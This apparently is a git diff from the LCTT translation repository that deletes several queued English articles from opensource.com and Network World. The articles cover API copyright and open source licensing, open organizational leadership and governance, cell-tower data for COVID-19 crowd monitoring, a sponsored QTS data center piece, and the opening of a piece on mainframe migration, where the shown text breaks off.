subject: (Should API-restricting licenses qualify as open source?) -[#]: via: (https://opensource.com/article/20/6/api-copyright) -[#]: author: (Richard Fontana https://opensource.com/users/fontana) - -Should API-restricting licenses qualify as open source? -====== -A look at how a closely-watched legal case about copyright and APIs -might affect open source licensing -![Two government buildings][1] - -In its 2014 _[Oracle v. Google][2]_ decision, the United States Court of Appeals for the Federal Circuit held that the method declarations and "structure, sequence, and organization" (SSO) of the Java SE API were protected by copyright. This much-criticized result contradicted a decades-old industry and professional consensus assumption that APIs were in the public domain, reflected in an ongoing common practice of successive reimplementation of APIs, and persisting even after the general copyrightability of software was settled by statute. Unsurprisingly, that consensus shaped the view of APIs from within open source. Open source licenses, in particular, do not address APIs, and their conditions have not customarily been understood to apply to APIs. - -If the copyrightability ruling survives its current [review][3] by the United States Supreme Court, there is reason to worry that _Oracle v. Google_ will eventually have some detrimental impact on open source licensing. License authors might draft new licenses that would explicitly extend familiar kinds of open source license conditions to activities merely involving APIs. There could also be comparable efforts to advance _Oracle v. Google_-influenced reinterpretations of existing open source licenses. - -We've already seen an example of a new open source-like license that restricts APIs. Last year, Holochain, through its lawyer [Van Lindberg][4], submitted the [Cryptographic Autonomy License][5] (CAL) for approval by the Open Source Initiative (OSI). The [1.0-Beta][6] draft included source availability and licensing requirements placed on works merely containing or derivative of interfaces included in or derived from the licensed work. (CAL 1.0-Beta was [rejected][7] by the OSI for reasons other than the interface copyleft feature. Subsequent revisions of CAL removed explicit references to interfaces, and the OSI approved CAL 1.0 earlier this year.) Licenses like CAL 1.0-Beta would extend copyleft to reimplementations of APIs having no code in common with the original. Though less likely, new permissive licenses might similarly extend notice preservation requirements to mere copies of APIs. - -In my view, API-restricting licenses, though otherwise FOSS-like, would not qualify for the open source label. To simplify what is actually a complicated and contentious issue, let's accept the view that the license approval decisions of the OSI, interpreting the [Open Source Definition][8] (OSD), are the authoritative basis for determining whether a license is open source. The OSD makes no mention of software interfaces. Some advocates of a relaxation of standards for approving open source licenses have argued that if a type of restriction is not explicitly prohibited by the OSD, it should be considered acceptable in an open source license. To guard against this tactic, which amounts to ["gaming" the OSD][9], the OSI [clarified][10] in 2019 that the purpose of the approval process is to ensure that approved licenses not only conform to the OSD but also provide software freedom. - -Though [Luis Villa has raised concerns][11] that it gives rise to a "[no true Scotsman][12]" problem, I believe the emphasis on software freedom as a grounding principle will enable the OSI to deal effectively and in a well-reasoned, predictable way with cases where license submissions expose unforeseen gaps or vagueness in the OSD, which is politically difficult for the OSI to revise. (Disclosure: I was on the OSI board when this change to the license review process was made.) It is also an honest acknowledgment that the OSD, like the [Free Software Definition][13] maintained by the Free Software Foundation, is an unavoidably imperfect and incomplete attempt to distill the underlying community norms and expectations surrounding what FOSS is. - -Software freedom is the outgrowth of a long-lived culture. Judging whether a license that extends FOSS-normative conditions to APIs provides software freedom should begin with an examination of tradition. This leads to a straightforward conclusion. As noted above, from nearly the earliest days of programming and continuing without interruption through the rise of the modern open source commons, software developers have shared and acted on a belief in an unconditional right to reimplement software interfaces. From a historical perspective, it is difficult to think of anything as core to software freedom as this right to reimplement. - -The inquiry cannot be entirely backward-looking, however, since the understanding of software freedom necessarily changes in response to new societal or technological developments. It is worth asking whether a departure from the traditional expectation of unrestricted APIs would advance the broader goals of open source licensing. At first glance, this might seem to be true for copyleft licensing, since, in theory, compliant adoption of API copyleft licenses could expand the open source software commons. But expanding the scope of copyleft to API reimplementations—software traditionally seen as unrelated to the original work—would violate another open source norm, the limited reach of open source licenses, which is partially captured in [OSD 9][14]. - -Another observation is that software freedom is endangered by licensing arrangements that are excessively complex and unpredictable and that make compliance too difficult. This would likely be true of API-restricting FOSS-like licenses, especially on the copyleft side. For example, copyleft licenses typically place conditions on the grant of permission to prepare derivative works. Trying to figure out what is a derivative work of a Java method declaration, or the SSO of a set of APIs, could become a compliance nightmare. Would it include reimplementations of APIs? Code merely invoking APIs? The fundamental vagueness of _Oracle v. Google_-style API copyright bears some resemblance to certain kinds of software patent claims. It is not difficult to imagine acquirers of copyrights covered by API-restrictive licenses adopting the litigation strategies of patent trolls. In addition to this risk, accepting API-restrictive licenses as open source would further legitimize API copyrightability in jurisdictions like the United States, where the legal issue is currently unsettled. - -_Oracle v. Google_-influenced interpretations of existing open source licenses would similarly extend familiar open source license conditions to activities merely involving APIs. Such reinterpretations would transform these licenses into ones that fail to provide software freedom and advance the goals of open source, for the same reasons that apply to the new license case. In addition, they would upend the intentions and expectations of the authors of those licenses, as well as nearly all of their licensors and licensees. - -It might be argued that because open source licenses are principally ([though not exclusively][15]) copyright licenses, it is necessary, if not beneficial, for their conditions to closely track the expansion of copyright to APIs. This is not so for new open source licenses, which can be drafted explicitly to nullify the impact of _Oracle v. Google_. As for reinterpretations of existing open source licenses, while the issue of API copyrightability remains unsettled, it would not be appropriate to abandon traditional interpretations in favor of anticipating what an _Oracle v. Google_-influenced court, unfamiliar with open source culture, would decide. Litigation over open source licenses continues to be uncommon, and influential open source license interpretations have emerged in the technical community with little regard to how courts might act. In any event, courts engaged in interpreting commonly-used open source licenses may well be persuaded to treat APIs as unconstrained. - -Some have suggested that interpretation of the GPL should take full advantage of the scope of underlying copyright rights. This is related to a view of copyleft as a "[hack on copyright][16]" or a "[judo move][17]" that "[return[s] the violent force of the oppressor against the oppressor itself][18]." It can be detected in the [copyleft tutorial][19] sponsored by the Software Freedom Conservancy and the FSF, which [says][20]: "The strongest copylefts strive to [use] the exclusive rights that copyright grants to authors as extensively as possible to maximize software freedom." It might seem logical for someone with this perspective to specifically promote an API copyright interpretation of the GPL. But I know of no advocate of strong copyleft who has done so, and the text and interpretive history of the GPL do not support such a reading. - -A somewhat different view of API copyright and GPL interpretation, occasionally voiced, is that _Oracle v. Google_ may put the doctrine of strong copyleft on a surer legal foundation. Similarly, it has sometimes been asserted that strong copyleft rested on some notion of API copyrightability all along, which suggests that _Oracle v. Google_ provides some retroactive legal legitimacy. The latter view is not held by the FSF, which in an earlier era had [opposed the expansion of copyright][21] to user interfaces. This stance made its way into GPLv2, which has a [largely overlooked provision][22] authorizing the original licensor to exclude countries that would restrict "distribution and/or use … either by patents or by copyrighted interfaces." The FSF also [severely criticized][23] Oracle's claim of copyright ownership of Java APIs. And the FSF has never questioned the right to reimplement APIs of GPL-licensed software under non-GPL licenses (as has happened, for example, with the FSF-copyrighted [GNU Readline][24] and the BSD-licensed [libedit][25]). If there were shown to be some legal deficiency in strong copyleft theory that API copyrightability could somehow fix, I believe it would be better either to live with a weaker understanding of GPL copyleft or to pursue revisions to the GPL that would reformulate strong copyleft without relying on API copyright. - -If API copyrightability survives Supreme Court review, it would then be appropriate for license stewards, licensors of existing open source licenses, and drafters of new open source licenses to take constructive steps to minimize the impact on open source. Stewards of widely used open source licenses, where they exist, could publish interpretive guidance clarifying that APIs are not restricted by the license. Updates to existing open source licenses and entirely new licenses could make unrestricted APIs an explicit policy. Licensors of existing open source licenses could make clear, in standardized license notices or through external commitments, that they will not treat open source license conditions as imposing any restriction on activities merely involving APIs. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/api-copyright - -作者:[Richard Fontana][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/fontana -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LAW_lawdotgov2.png?itok=n36__lZj (Two government buildings) -[2]: http://www.cafc.uscourts.gov/sites/default/files/opinions-orders/13-1021.Opinion.5-7-2014.1.PDF -[3]: https://www.scotusblog.com/case-files/cases/google-llc-v-oracle-america-inc/ -[4]: https://twitter.com/vanl?lang=en -[5]: https://github.com/holochain/cryptographic-autonomy-license -[6]: http://lists.opensource.org/pipermail/license-review_lists.opensource.org/2019-April/004028.html -[7]: http://lists.opensource.org/pipermail/license-review_lists.opensource.org/2019-June/004248.html -[8]: https://opensource.org/osd -[9]: https://twitter.com/webmink/status/1121873263125118977?s=20 -[10]: https://opensource.org/approval -[11]: https://twitter.com/luis_in_brief/status/1143884765654687744 -[12]: https://en.wikipedia.org/wiki/No_true_Scotsman -[13]: https://www.gnu.org/philosophy/free-sw.en.html -[14]: https://opensource.org/osd#not-restrict-other-software -[15]: https://opensource.com/article/18/3/patent-grant-mit-license -[16]: https://sfconservancy.org/blog/2012/feb/01/gpl-enforcement/ -[17]: https://gondwanaland.com/mlog/2014/12/01/copyleft-org/#gpl-and-cc-by-sa-differences -[18]: https://dustycloud.org/blog/field-guide-to-copyleft/#sec-2-2 -[19]: https://copyleft.org/guide/ -[20]: https://copyleft.org/guide/comprehensive-gpl-guidech2.html#x5-120001.2.2 -[21]: https://www.gnu.org/bulletins/bull21.html -[22]: https://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html#section8 -[23]: https://www.fsf.org/blogs/licensing/fsf-statement-on-court-of-appeals-ruling-in-oracle-v-google -[24]: https://tiswww.case.edu/php/chet/readline/rltop.html -[25]: http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libedit/ diff --git a/sources/talk/20200630 The open organization everyone deserves.md b/sources/talk/20200630 The open organization everyone deserves.md deleted file mode 100644 index 8fa93e6ec3..0000000000 --- a/sources/talk/20200630 The open organization everyone deserves.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The open organization everyone deserves) -[#]: via: (https://opensource.com/open-organization/20/6/organization-everyone-deserves) -[#]: author: (Jos Groen https://opensource.com/users/jos-groen) - -The open organization everyone deserves -====== -Want to build a sustainably successful organization? Then openness is -the way. -![Two different business organization charts][1] - -Let me share an email I recently received. It meant the world to me: - -> Hi Jos, just a quick message to thank you for the past six months. I really appreciate how I've been welcomed into the company and I feel like I've genuinely found my place here. There's a great vibe among the entire staff of working hard, lots of learning, having fun, and personal responsibility. Although everyone contributes to this atmosphere, it could only have come about with the support of management. So I just want to thank you for creating such an enjoyable work environment! - -A work environment that encourages the collaborative utilization of everyone's combined skillset, one in which contributors are intrinsically motivated to do their best work, is something I would wish for everyone. That's why, over the past year especially, I've been cultivating an open organizational culture on my team and across my organization, Axians. Openness is the future, and it begins with individuals. In this article, I'll explain the mindset shifts I believe any _individual_ leader must make in order to pave the way for an organizational culture of openness. - -### The technological is social - -Social and technological changes are occurring faster than ever. These often seem like two separate movements—but are they really? The effect of the open source movement on the development of both innovative technologies and organizational cultures is many times greater than we may think. The open source community (as the name suggests) is shouldered by people—people who apply their skills to make the world a little better through new technologies, who realize the value of sharing both knowledge and material goods in both their work as well as their personal lives. - -This means that in order to get the most out of new technologies, you need to have an open organizational culture in which employees contribute from [a place of intrinsic motivation][2]. The current generation of tech employees isn't drawn to organizations with a strong hierarchical culture. They're looking for _open_ organizations that encourage and inspire them to excel every single day. They're looking for the kind of leadership that leaves ample room for individual input and ownership. A successful and future-proof organization demands an open culture and open leadership. - -At its core, a sustainably successful organization revolves around a balance between a focus on people and a focus on the business. In my experience, for the majority of organizations, this balance leans too heavily towards the business. There is an urgent need for a greater focus on people. The open organization is the answer to restoring this balance. That's why establishing and leading an open organization should be the [ultimate goal for contemporary managers][3]. But doing this requires leaders capable of restoring the balance [between business and the humans that work in it][4]—and maintaining that balance. - -A work environment that encourages the collaborative utilization of everyone's combined skillset, one in which contributors are intrinsically motivated to do their best work, is something I would wish for everyone. - -At the same time, a successful organization today is one that enables intelligent collaboration and effective coordination. This will increase the collective intelligence and offer employees the space they need to develop and grow. Unlocking and utilizing the available potential helps shape the kind of organization in which everyone participates and contributes, and this can produce some truly remarkable results. It’s no small task for a leader to establish and lead an organization of this kind. - -### Authentic leadership - -The human dimension present in an organization will in part determine the employers people choose to join, making it vital for managers to establish and lead an open organization. Part of openness is to be clear and honest about your intentions at all times. - -This isn't just a gimmick, nor is it a skill you can easily "acquire." When you're working with people, they will immediately sense if your intentions aren't genuine. Because this process takes place on a subconscious level, it is unlikely people will articulate this feeling. Instead, it'll be reflected in their behavior: you might find people less involved and not opening up to you. In turn, you could experience their behavioras frustrating, even opposition. Sound familiar? - -This is all about your credibility, which takes time to build. You'll be challenged, either consciously or subconsciously, to stick with your intentions. Be prepared to have to overcome mistrust and cynicism at times. - -Are you up for that? Are you willing to examine the cause, to really invest your time and energy in trying to understand the other person? And will you stick to your principles? - -### What about you? - -An open organization is about placing your trust in people and creating a culture of equality. At the end of the day, it's not about you; it's about the collective. _Everyone_ is involved. _Everyone_ gets to make mistakes or ask for help. Even you. As long as you can be open and honest about it. - -So have you put "openness" on the agenda? And what about your organization? Is your management ready to open up—or are they clinging to "command and control"? - -I hope you'll [join me][5] as I explore these issues further [in an upcoming webinar][6]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/6/organization-everyone-deserves - -作者:[Jos Groen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jos-groen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_crowdvsopen.png?itok=AFjno_8v (Two different business organization charts) -[2]: https://opensource.com/open-organization/18/5/rethink-motivation-engagement -[3]: https://opensource.com/open-organization/20/6/open-management-practices -[4]: https://opensource.com/open-organization/17/7/digital-transformation-people-1 -[5]: https://www.linkedin.com/in/josgroen/ -[6]: https://www.redhat.com/en/events/webinar/how-to-drive-the-transformation-journey-through-an-open-organization-approach-2020 diff --git a/sources/talk/20200702 How an open project-s governance model evolves.md b/sources/talk/20200702 How an open project-s governance model evolves.md deleted file mode 100644 index 4ca74dd3b1..0000000000 --- a/sources/talk/20200702 How an open project-s governance model evolves.md +++ /dev/null @@ -1,97 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How an open project's governance model evolves) -[#]: via: (https://opensource.com/open-organization/20/7/evolving-project-governance) -[#]: author: (Bryan Behrenshausen https://opensource.com/users/bbehrens) - -How an open project's governance model evolves -====== -As open projects mature, their governance models inevitably change. -Here's how we're evolving ours. -![A two way street sign][1] - -As we continue renovating the Open Organization community, we've been asking hard questions about how we want [that community][2] to function. What do we expect of one another, and of the new contributors yet to join us? How will we work best together? And how will we keep one another accountable for achieving our shared goals? - -When open projects and communities discuss expectations like these, they're talking about "governance." In this case, "governance" refers to the [various processes by which rights and responsibilities get distributed][3] throughout a group. As community member [Jen Kelchner puts it][4], "it's the framework that creates the structure of the organizational system and the rules by which the parts of that structure can and do interact with one another." - -A community's governance model explains _how_ that community functions. Maintaining a system of governance often helps a community _define_ and _describe_ the roles people play in that community. - -Those shared definitions and descriptions are important. First, they allow community members to speak a common language about values and ambitions. They also advance community members' ability to contribute, because [they _make explicit_ the rules][5] everyone is playing by. And they ensure community members receive the various types of status and social capital they need and deserve. - -The best governance models are flexible and adaptable. They grow with their communities. As the Open Organization community grows, so does its governance model. We've needed to revisit how we describe our community and the opportunities for contribution it affords people. ([We also fix typos][6].) - -Let us describe what we're doing. - -### New commitments - -Through this conversation, we've been able to update the Open Organization [project][7] description and vision. - -That vision initially took shape nearly five years ago, when the Open Organization Ambassador team first formed. At the time, Red Hat community architects [Jason Hibbets][8] and [Bryan Behrenshausen][9] drafted a document describing what a community of passionate advocates for [open organizational principles][10] _might_ look like. The vision was entirely aspirational, describing what could be—rather than what _was_. It served as a beacon to attract passionate contributors to a still-nascent project. - -As soon as the community _did_ attract new members, however, those members promptly wrote their _own_ mission and vision for the Open Organization project, articulating their identity and purpose. And as we've grown, we've realized that we're all committed to even more than we originally described. Our community is adept at translating [open organization principles][10] for various audiences and contexts, and at helping different communities connect to our language and culture through _their_ own languages and cultures. - -The best governance models are flexible and adaptable. They grow with their communities. - -For example, [Laura Hilliger][11] has long seen an overlap between openness and cooperatives ([as have others in the community][12]). She's spoken about that overlap and lived it through her career—serving as a translator between two "radical" economic and communal ideas that use different terminology but are seeking the same kind of fair-mindedness in their activities and collaborations. Other Open Org community members have written about [Agile methodologies][13] and their association with open principles, open principles at work [in educational organizations][14], and more. - -Our commitment to this sort of "translation work" wasn't highlighted in our working project description, so we [updated the description to include it][15]. - -### Role playing - -Another hole we wanted to fill was a better description of the types of contributions one can make to this community. We wanted to talk about our contributors in a slightly more nuanced way, which we indicated in the initial project vision and then extrapolated into a fully fledged "[Community Roles][16]" wiki page. - -Being specific about community roles helps us make the project more inclusive. It also gives us a method to _codify_ policies and procedures because we can associate them with individual roles people can play in the Open Org community. - -So we've made some decisions about how contributors get read/write [access to community repositories][17], and how certain kinds of contributors can nominate people to "level up" in the community. - -Just as people join communities, they also leave. Everyone's interests and passions change over time, and sometimes what brought them to your community is no longer meaningful to them. And that's okay. - -We've also established a new kind of contributor, the "Maintainer," which gives Ambassadors expressing interest in leading and maintaining community-driven projects a way to show ownership and initiative around a particular project the community is working on. In short: It opens an important new contribution pathway and helps existing community members play an even more influential role in the Open Organization project. - -And we're also recognizing the regular flux and flow that marks an open community like ours. Just as people join communities, they also leave. Everyone's interests and passions change over time, and sometimes what brought them to your community is no longer meaningful to them. And that's okay. - -Sometimes, people will stay involved in a community because they feel a sense of belonging or status, even if they're not interested in doing the work anymore. And they carry with them important project history and context, which no one wants to see evaporate. So we're also adding another community role, the Open Organization Ambassador Emeritus. By giving community members emeritus status, we give Ambassadors the freedom to move on to something else without "kicking them out" of the project altogether. - -All in all, defining and documenting roles and responsibilities will help our community attract contribution because it clearly explains _what getting involved means_ and the _benefits of doing so_. - -### Next steps - -We've come a long way. But there's more to be done. - -The next bit of work we'd like to tackle is [developing a code of conduct][18]. Want to share your experience in this area? [Why not join us and help out?][19] - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/7/evolving-project-governance - -作者:[Bryan Behrenshausen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/bbehrens -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/govt_two%20way.png?itok=8dlG2Dpl (A two way street sign) -[2]: http://theopenorganization.org -[3]: https://opensource.com/article/20/5/open-source-governance -[4]: https://opensource.com/open-organization/17/2/5-elements-teams-organized -[5]: https://opensource.com/open-organization/18/4/new-governance-model-research -[6]: https://github.com/open-organization/governance/commits/master -[7]: https://github.com/open-organization/governance/blob/master/project-and-community-description.md -[8]: https://opensource.com/users/jhibbets -[9]: https://opensource.com/users/bbehrens -[10]: https://github.com/open-organization/open-org-definition -[11]: https://opensource.com/users/laurahilliger -[12]: https://opensource.com/open-organization/15/9/learn-from-co-ops -[13]: https://opensource.com/open-organization/17/11/transparency-collaboration-basefarm -[14]: https://opensource.com/open-organization/19/4/education-culture-agile -[15]: https://github.com/open-organization/governance/wiki -[16]: https://github.com/open-organization/governance/wiki/Community-Roles -[17]: https://github.com/open-organization -[18]: https://opensource.com/life/14/5/codes-of-conduct-open-source-communities -[19]: https://github.com/open-organization/governance/issues/9 diff --git a/sources/talk/20200708 How wireless networks can battle COVID-19.md b/sources/talk/20200708 How wireless networks can battle COVID-19.md deleted file mode 100644 index 3c3276c55a..0000000000 --- a/sources/talk/20200708 How wireless networks can battle COVID-19.md +++ /dev/null @@ -1,52 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: (sunwenquan ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How wireless networks can battle COVID-19) -[#]: via: (https://www.networkworld.com/article/3565389/how-wireless-networks-can-battle-covid-19.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -How wireless networks can battle COVID-19 -====== -Wireless network devices maintain a connection by handing off from one cell tower to another. The data created should be used to fight coronavirus, say researchers. -Sasha85ru / Getty Images - -Routinely collected cellphone-location data could be used to alert health official about crowded areas where novel coronavirus could spread rapidly, which they could then use to disperse people in order to lower the risk, according to researchers at Colorado State University. - -Mobile phones maintain connections as their users move around by continually handing off from one cell tower to another. Analyzing logs of these handoffs is a way to gauge how many people are in an area, the researchers say, and that information could flag potential virus-spreading hotspots. “Crowded regions with actively moving people are susceptible to spreading the disease,” the team say in [an abstract of their paper][1] in _IEEE Open Journal of Engineering in Medicine and Biology_. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -“Our findings could help risk managers with planning and mitigation,” says Edwin Chong, Professor of Electrical and Computer Engineering and interim department head at the school [in an article on the university’s website][3]. - -The data that would be used doesn’t identify individuals who own the phones, which should alleviate privacy concerns, he says. “All we have to do is perform the measurements using anonymous data that is already being collected for other reasons. We are not tracking individuals,” he says - -Cellphone applications that have been developed to trace near encounters between individuals are different. They necessarily gather personal information so health officials can determine who might have come in proximity with an infected person. The goal is to alert those who have had such encounters so they can quarantine themselves for 14 days to prevent them from potentially spreading the virus further. But that is quite different from the information gathered by cell-tower engineering logs. - -As mobile phones move from one cell to another, a process called handover and reselection keeps the phones constantly connected to the network. The logs of this activity reveal the volume of this activity and tracks the status of phones such as non-active standby, engaged in active calls or whether it’s making data connections. - -The size of cells varies with those in densely populated areas being smaller and therefore able to deliver more granular data about where people are closer together. Indeed, future 5G deployments may have cell antennas in every municipal streetlight, making it possible to make very specific density estimates. - -  - -Join the Network World communities on [Facebook][4] and [LinkedIn][5] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3565389/how-wireless-networks-can-battle-covid-19.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://ieeexplore.ieee.org/document/9117073 -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://engr.source.colostate.edu/using-cellular-networks-to-detect-at-risk-areas-for-spread-of-covid-19/ -[4]: https://www.facebook.com/NetworkWorld/ -[5]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200715 The Impact of COVID-19 on the Global Digital Economy.md b/sources/talk/20200715 The Impact of COVID-19 on the Global Digital Economy.md deleted file mode 100644 index 6d5f05b3ce..0000000000 --- a/sources/talk/20200715 The Impact of COVID-19 on the Global Digital Economy.md +++ /dev/null @@ -1,79 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The Impact of COVID-19 on the Global Digital Economy) -[#]: via: (https://www.networkworld.com/article/3566911/the-impact-of-covid-19-on-the-global-digital-economy.html) -[#]: author: (QTS https://www.networkworld.com/author/Andy-Patrizio/) - -The Impact of COVID-19 on the Global Digital Economy -====== -Post-Pandemic IT Landscape Demands a New Data Center Paradigm -QTS - -Prior to COVID-19, the world was undergoing massive business transformation illustrated by stunning success of mega-scale Internet businesses such as Amazon Prime, Twitter, Uber, Netflix, Xbox and others that are now an integral part of our lives and exemplify the new global digital economy. - -The ability to apply artificial intelligence (AL), machine learning (ML), speech recognition, location services, speed and identity tracking in real-time enabled new applications and services once thought to be beyond the reach of computing technology. - -Fueling this transformation are exponential increases in digitized data and the ability to apply enormous compute and storage capacity to it. Since 2016, digitization has created 90% of the world’s data. According to IDC, more than 59 zettabytes (ZB) of data are going to be created and consumed globally in 2020 and this is forecast to grow to 175 ZB by 2025. How much is 1 ZB you ask?  It is equivalent to a _trillion gigabytes. Or, 100 million HD movies worth of data._ - -As it turns out, according to IDC, instead of hindering growth, COVID-19 is accelerating data growth, particularly in 2020 and 2021, due to abrupt increases in work from home employees, a changing mix of richer data sets, and a surge in video-based content consumption. - -For the enterprise, an unforeseen byproduct is an even greater urgency for agility, adaptability and transformation. Business models are being disrupted while the digitalization of the economy is accelerating as new technologies and services serve a reshaped workforce. - -The competitive landscape across all market sectors is changing. Now more than ever business is looking to technology to be agile in the face of disruption and create new digitally enabled business models for the post-COVID “new normal.” - -That will require new capabilities and expertise in thousands of data centers and networks behind the scenes. That infrastructure provides the digital infrastructure that powers the critical applications and services keeping the economy afloat -- and all of us connected. The “cloud” lives in data centers and data centers are the commerce platforms of the 21st century. - -**Data centers are essential…the best ones are innovating** - -At the outset of the pandemic, data centers were designated “essential businesses” since virtually all industries and consumers depend on them. The more advanced data centers were quickly recognized for their [ability to provide customers with remote access and management of their systems][1] without operators or enterprise customers having to be there physically. - -[QTS Realty Trust (NYSE: QTS)][2] is at the forefront of providing these services to all their customers. Supporting its commitment to digitize its entire end-to-end systems and processes, QTS is the first and only multi-tenant data center operator with a sophisticated software-defined orchestration platform powered by AI, ML, predictive analytics (PA) and virtual reality (VR) technologies. - -QTS’ API-driven [Service Delivery Platform (SDP)][3] empowers customers to interact with their data, services, and connectivity ecosystem by providing real-time visibility, access and dynamic control of critical metrics across hybrid and hyperscale environments from a single platform and/or mobile device. It is akin to it having a software company within the data center delivering operational savings and business innovation which are central to every IT investment. - -SDP applications leverage next-generation AI, ML and PA to accurately forecast power consumption, automate the service provisioning, perform online ordering and asset management. VR technologies are enabling new virtual collaboration tools and a 3D visualization application that renders an exact replication of a customer’s IT environment in real-time. - -QTS’ SDP was profiled in the Raymond James Industry Brief: _Data Maps and Killer Apps_ (released June 2020) that surveyed the platforms of three global data center operators: - -_“While all three platforms have the ability to track and report common data, the ease of use of the systems was quite different. Only QTS had the entire system wrapped up into an app that was available across multiple desktop, tablet, and mobile platforms, complete with 3D imaging and simple graphics that outlined the situation visually down to an individual rack within a cabinet. QTS' system also has video capability using facial recognition to detect and identify employees and contractors separately, highlight an open cabinet door and other potential hazards inside the customers cage, and it is all either real time or on a recorded basis to highlight potential errors and problems. Live heat maps allow customers to see the areas with potential and existing performance issues and to see outages in real time and track down problems. As far as features and functionality, QTS SDP system was the clear winner.”_ - -**Customer experience is the dealmaker** - -As consumers become more adamant in their demand for quality of experience in their digital lives, businesses must ensure they are providing services, and the data that is generated from them, real-time, on-the-go, via any network, and are personalized. - -Post COVID, the ability of data centers to ensure excellent customer experience will play an even greater role as large numbers of customers continue to work remotely with less on-premises interaction. Enterprises will seek data center operators that can ensure secure, ubiquitous, real time access to services and data backed by superior customer support. - -Given a purchasing decision based on performance and price between two equally qualified data center operators, the first tiebreaker is increasingly coming down to proven and documented customer support. - -In the data center industry, QTS is the undisputed leader in customer service and support boasting an [independent Net Promoter Score of 88][4] \- more than double the average NPS score for data center companies (42). - -Customers rated QTS highly in a range of service areas, including its customer service, service delivery platform, physical facilities, processes, responsiveness, and service of onsite staff and the 24-hour [Operations Service Center][5]. QTS’ score of 88 is its highest yet and exceeds NPS scores of companies well-known for their customer service including Starbucks (71) and Apple (72). - -Enterprise, Hyperscale and government organizations recognize that the post-COVID landscape is going to present an increasing need for innovation in their IT environments. In terms of IT service delivery, this means higher levels of transparency, visibility, compliance and sustainability that are at the foundation of QTS’ Service Delivery Platform. - -With innovation come new technologies and complexity, raising the profile of the best service and support partners for companies looking to re-establish themselves in a new, post-COVID competitive landscape. - -For more information, visit [www.qtsdatacenters.com][6] - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3566911/the-impact-of-covid-19-on-the-global-digital-economy.html - -作者:[QTS][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.qtsdatacenters.com/company/news/2020/03/26/qts-reports-significant-increase-in-customer-usage-of-sdp -[2]: http://www.qtsdatacenters.com/ -[3]: https://www.qtsdatacenters.com/why-qts/service-delivery-platform -[4]: https://www.qtsdatacenters.com/why-qts/customer-benefits/nps -[5]: https://www.qtsdatacenters.com/why-qts/customer-benefits/operations-support-center -[6]: http://www.qtsdatacenters.com diff --git a/sources/talk/20200716 Options grow for migrating mainframe apps to the cloud.md b/sources/talk/20200716 Options grow for migrating mainframe apps to the cloud.md deleted file mode 100644 index fef1ca55e5..0000000000 --- a/sources/talk/20200716 Options grow for migrating mainframe apps to the cloud.md +++ /dev/null @@ -1,87 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Options grow for migrating mainframe apps to the cloud) -[#]: via: (https://www.networkworld.com/article/3567058/options-grow-for-migrating-mainframe-apps-to-the-cloud.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -Options grow for migrating mainframe apps to the cloud -====== -Mainframe modernization vendor LzLabs is targeting Big Iron enterprises that want to move legacy applications into public or private cloud environments. -Thinkstock - -Mainframe users looking to bring legacy applications into the public or private cloud world have a new option: [LzLabs][1], a mainframe software migration vendor. - -Founded in 2011 and based in Switzerland, LzLabs this week said it's setting up shop in North America to help mainframe users move legacy applications – think COBOL – into the more modern and flexible cloud application environment. - -**Read also: [How to plan a software-defined data-center network][2]** - -At the heart of LzLabs' service is its Software Defined Mainframe (SDM), an open-source, Eclipse-based system that's designed to let 